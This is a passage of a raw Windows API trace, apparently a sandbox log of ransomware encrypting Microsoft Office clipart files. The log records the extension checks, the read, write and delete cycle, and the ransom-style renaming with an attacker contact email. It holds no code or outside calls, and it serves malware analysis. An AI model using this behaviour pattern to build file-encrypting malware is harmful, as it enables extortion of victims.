	[0092.356] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0092.356] lstrlenW (lpString=".bz2") returned 4
	[0092.356] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0092.356] lstrlenW (lpString=".7z") returned 3
	[0092.356] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0092.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68
	[0092.356] lstrlenW (lpString=".dbf") returned 4
	[0092.356] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0092.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68
	[0092.356] lstrlenW (lpString=".1cd") returned 4
	[0092.356] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0092.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68
	[0092.356] lstrlenW (lpString=".jpg") returned 4
	[0092.356] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0092.356] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0092.356] lstrlenW (lpString="FD00297_.WMF") returned 12
	[0092.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0092.356] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=18194) returned 1
	[0092.356] CloseHandle (hObject=0x390) returned 1
	[0092.356] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf")) returned 0x220
	[0092.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0092.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0092.357] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.357] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0092.357] GetLastError () returned 0x0
	[0092.357] ReadFile (in: hFile=0x390, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x4712, lpOverlapped=0x0) returned 1
	[0092.603] WriteFile (in: hFile=0x2bc, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x4720, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x4720, lpOverlapped=0x0) returned 1
	[0092.605] ReadFile (in: hFile=0x390, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0092.605] WriteFile (in: hFile=0x2bc, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0092.605] SetEndOfFile (hFile=0x2bc) returned 1
	[0092.842] CloseHandle (hObject=0x2bc) returned 1
	[0092.842] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.842] SetEndOfFile (hFile=0x390) returned 1
	[0092.843] CloseHandle (hObject=0x390) returned 1
	[0092.843] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0092.843] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf")) returned 1
	[0092.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0092.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0092.844] lstrlenW (lpString=".doc") returned 4
	[0092.844] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0092.844] lstrlenW (lpString=".docx") returned 5
	[0092.844] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0092.844] lstrlenW (lpString=".pdf") returned 4
	[0092.844] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0092.844] lstrlenW (lpString=".xls") returned 4
	[0092.844] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0092.844] lstrlenW (lpString=".xlsx") returned 5
	[0092.844] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0092.844] lstrlenW (lpString=".ppt") returned 4
	[0092.844] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0092.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0092.844] lstrlenW (lpString=".zip") returned 4
	[0092.844] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0092.844] lstrlenW (lpString=".rar") returned 4
	[0092.844] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0092.844] lstrlenW (lpString=".bz2") returned 4
	[0092.844] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0092.844] lstrlenW (lpString=".7z") returned 3
	[0092.844] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0092.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0092.844] lstrlenW (lpString=".dbf") returned 4
	[0092.844] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0092.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0092.844] lstrlenW (lpString=".1cd") returned 4
	[0092.844] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0092.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0092.844] lstrlenW (lpString=".jpg") returned 4
	[0092.844] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0092.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0092.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0092.845] lstrlenW (lpString=".doc") returned 4
	[0092.845] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0092.845] lstrlenW (lpString=".docx") returned 5
	[0092.845] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0092.845] lstrlenW (lpString=".pdf") returned 4
	[0092.845] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0092.845] lstrlenW (lpString=".xls") returned 4
	[0092.845] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0092.845] lstrlenW (lpString=".xlsx") returned 5
	[0092.845] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0092.845] lstrlenW (lpString=".ppt") returned 4
	[0092.845] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0092.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0092.845] lstrlenW (lpString=".zip") returned 4
	[0092.845] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0092.845] lstrlenW (lpString=".rar") returned 4
	[0092.845] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0092.845] lstrlenW (lpString=".bz2") returned 4
	[0092.845] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0092.845] lstrlenW (lpString=".7z") returned 3
	[0092.845] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0092.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0092.845] lstrlenW (lpString=".dbf") returned 4
	[0092.845] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0092.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0092.845] lstrlenW (lpString=".1cd") returned 4
	[0092.845] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0092.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0092.845] lstrlenW (lpString=".jpg") returned 4
	[0092.845] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0092.845] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0092.846] lstrlenW (lpString="FD00428_.WMF") returned 12
	[0092.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0092.846] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=4796) returned 1
	[0092.846] CloseHandle (hObject=0x390) returned 1
	[0092.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf")) returned 0x220
	[0092.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0092.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0092.847] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.847] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0092.847] GetLastError () returned 0x0
	[0092.847] ReadFile (in: hFile=0x390, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x12bc, lpOverlapped=0x0) returned 1
	[0092.848] WriteFile (in: hFile=0x2bc, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x12c0, lpOverlapped=0x0) returned 1
	[0092.849] ReadFile (in: hFile=0x390, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0092.849] WriteFile (in: hFile=0x2bc, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0092.849] SetEndOfFile (hFile=0x2bc) returned 1
	[0092.850] CloseHandle (hObject=0x2bc) returned 1
	[0092.850] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.850] SetEndOfFile (hFile=0x390) returned 1
	[0092.851] CloseHandle (hObject=0x390) returned 1
	[0092.851] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0092.851] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf")) returned 1
	[0092.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0092.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0092.851] lstrlenW (lpString=".doc") returned 4
	[0092.851] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0092.851] lstrlenW (lpString=".docx") returned 5
	[0092.851] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0092.851] lstrlenW (lpString=".pdf") returned 4
	[0092.851] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0092.851] lstrlenW (lpString=".xls") returned 4
	[0092.852] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0092.852] lstrlenW (lpString=".xlsx") returned 5
	[0092.852] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0092.852] lstrlenW (lpString=".ppt") returned 4
	[0092.852] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0092.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0092.852] lstrlenW (lpString=".zip") returned 4
	[0092.852] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0092.852] lstrlenW (lpString=".rar") returned 4
	[0092.852] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0092.852] lstrlenW (lpString=".bz2") returned 4
	[0092.852] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0092.852] lstrlenW (lpString=".7z") returned 3
	[0092.852] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0092.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0092.852] lstrlenW (lpString=".dbf") returned 4
	[0092.852] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0092.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0092.852] lstrlenW (lpString=".1cd") returned 4
	[0092.852] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0092.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0092.852] lstrlenW (lpString=".jpg") returned 4
	[0092.852] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0092.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0092.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0092.852] lstrlenW (lpString=".doc") returned 4
	[0092.852] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0092.852] lstrlenW (lpString=".docx") returned 5
	[0092.852] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0092.852] lstrlenW (lpString=".pdf") returned 4
	[0092.852] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0092.852] lstrlenW (lpString=".xls") returned 4
	[0092.852] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0092.852] lstrlenW (lpString=".xlsx") returned 5
	[0092.852] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0092.852] lstrlenW (lpString=".ppt") returned 4
	[0092.853] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0092.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0092.853] lstrlenW (lpString=".zip") returned 4
	[0092.853] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0092.853] lstrlenW (lpString=".rar") returned 4
	[0092.853] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0092.853] lstrlenW (lpString=".bz2") returned 4
	[0092.853] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0092.853] lstrlenW (lpString=".7z") returned 3
	[0092.853] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0092.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0092.853] lstrlenW (lpString=".dbf") returned 4
	[0092.853] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0092.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0092.853] lstrlenW (lpString=".1cd") returned 4
	[0092.853] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0092.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0092.853] lstrlenW (lpString=".jpg") returned 4
	[0092.853] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0092.853] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0092.853] lstrlenW (lpString="FD00435_.WMF") returned 12
	[0092.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0092.853] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=2108) returned 1
	[0092.854] CloseHandle (hObject=0x390) returned 1
	[0092.854] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf")) returned 0x220
	[0092.854] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0092.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0092.854] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.854] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0092.854] GetLastError () returned 0x0
	[0092.854] ReadFile (in: hFile=0x390, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x83c, lpOverlapped=0x0) returned 1
	[0092.856] WriteFile (in: hFile=0x2bc, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x840, lpOverlapped=0x0) returned 1
	[0092.857] ReadFile (in: hFile=0x390, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0092.857] WriteFile (in: hFile=0x2bc, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0092.857] SetEndOfFile (hFile=0x2bc) returned 1
	[0092.857] CloseHandle (hObject=0x2bc) returned 1
	[0092.857] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.857] SetEndOfFile (hFile=0x390) returned 1
	[0092.858] CloseHandle (hObject=0x390) returned 1
	[0092.858] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0092.858] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf")) returned 1
	[0092.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0092.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0092.858] lstrlenW (lpString=".doc") returned 4
	[0092.859] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0092.859] lstrlenW (lpString=".docx") returned 5
	[0092.859] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0092.859] lstrlenW (lpString=".pdf") returned 4
	[0092.859] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0092.859] lstrlenW (lpString=".xls") returned 4
	[0092.859] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0092.859] lstrlenW (lpString=".xlsx") returned 5
	[0092.859] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0092.859] lstrlenW (lpString=".ppt") returned 4
	[0092.859] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0092.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0092.859] lstrlenW (lpString=".zip") returned 4
	[0092.859] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0092.859] lstrlenW (lpString=".rar") returned 4
	[0092.859] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0092.859] lstrlenW (lpString=".bz2") returned 4
	[0092.859] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0092.859] lstrlenW (lpString=".7z") returned 3
	[0092.859] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0092.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0092.859] lstrlenW (lpString=".dbf") returned 4
	[0092.859] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0092.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0092.859] lstrlenW (lpString=".1cd") returned 4
	[0092.859] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0092.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0092.859] lstrlenW (lpString=".jpg") returned 4
	[0092.859] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0092.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0092.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0092.859] lstrlenW (lpString=".doc") returned 4
	[0092.859] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0092.859] lstrlenW (lpString=".docx") returned 5
	[0092.859] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0092.860] lstrlenW (lpString=".pdf") returned 4
	[0092.860] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0092.860] lstrlenW (lpString=".xls") returned 4
	[0092.860] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0092.860] lstrlenW (lpString=".xlsx") returned 5
	[0092.860] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0092.860] lstrlenW (lpString=".ppt") returned 4
	[0092.860] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0092.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0092.860] lstrlenW (lpString=".zip") returned 4
